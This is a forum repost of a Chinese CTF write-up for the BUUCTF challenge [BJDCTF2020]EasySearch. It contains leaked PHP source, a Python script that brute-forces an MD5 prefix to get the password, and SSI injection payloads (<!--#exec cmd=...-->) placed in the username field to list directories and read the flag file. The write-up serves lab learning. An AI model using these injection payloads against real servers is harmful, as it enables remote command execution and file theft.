找回密码
 立即注册

QQ登录

只需一步,快速开始

搜索
热搜: 活动 交友 discuz
查看: 93|回复: 0

BUUCTF靶场62 -- [BJDCTF2020]EasySearch

[复制链接]

2万

主题

162

回帖

18万

积分

管理员

积分
184732
发表于 2022-9-13 22:09:31 | 显示全部楼层 |阅读模式 IP:山东省 移动/数据上网公共出口

登录后更精彩...O(∩_∩)O...

您需要 登录 才可以下载或查看,没有账号?立即注册

×
BUUCTF靶场62 -- [BJDCTF2020]EasySearch

源码: https://github.com/BjdsecCA/BJDCTF2020
2.png

源码

扫目录发现index.php.swp

[PHP] 纯文本查看 复制代码
<?php
        ob_start();
        //加密
        function get_hash(){
                $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
                $random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
                $content = uniqid().$random;
                return sha1($content); 
        }
    header("Content-Type: text/html;charset=utf-8");
        ***
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            echo "<script>alert('[+] Welcome to manage system')</script>";
            $file_shtml = "public/".get_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
                        ***';
            fwrite($shtml,$text);
            fclose($shtml);
            ***
                        echo "[!] Header  error ...";
        } else {
            echo "<script>alert('[!] Failed')</script>";
            
    }else
    {
        ***
    }
        ***
?>


思路

可以看出只要密码为6d0bc1的前六位就可以成功登录,username为任意值


[PHP] 纯文本查看 复制代码
   if(isset($_POST['username']) and $_POST['username'] != '' )
    {
         $admin = '6d0bc1';
                if ( $admin == substr(md5($_POST['password']),0,6)) {
                    echo "<script>alert('[+] Welcome to manage system')</script>";

爆破脚本
[PHP] 纯文本查看 复制代码
import hashlib

for i in range(1000000000):
    a = hashlib.md5(str(i).encode('utf-8')).hexdigest()

    if a[0:6]=='6d0bc1':
        print(i)
        break

得出密码为2020666,抓包后登录,看到了shtml,猜测考点是SSI注入,url_is_here页面为回显内容

接着看到shtml页面

SSI注入参考:SSI注入
代码中生成了一个shtml页面,登陆后无法查看,抓包观察返回包:

得到登陆信息

这里用到shtml,HTML是静态的,而shtml基于SSI技术,当有服务器端可执行脚本时被当作一种动态编程语言,所以可以注入,也可以用来远程命令执行。

它的注入格式是这样的:<!--#exec cmd="命令"-->
所以只需要将username设置为payload即可
首先探测根目录:<!--#exec cmd="ls /"-->

访问生成的地址拿到flag

题解
username=<!--#exec cmd="tac ../f*" -->&password=2020666

from:https://blog.csdn.net/Kracxi/article/details/122933015
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|哩布大模型|Civitai大模型|IP定位|图反推|站长素材|deepseek|即梦视频|阿狗工具|花瓣网|pinterest|php手册|宝塔文档|CyberChef|猫捉鱼铃|手机版|小黑屋|下载狗|IPS|在线工具|分享屋 ( 鲁ICP备2021028754号 )

GMT+8, 2025-5-5 09:21

Powered by 分享屋 X3.5 Licensed

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表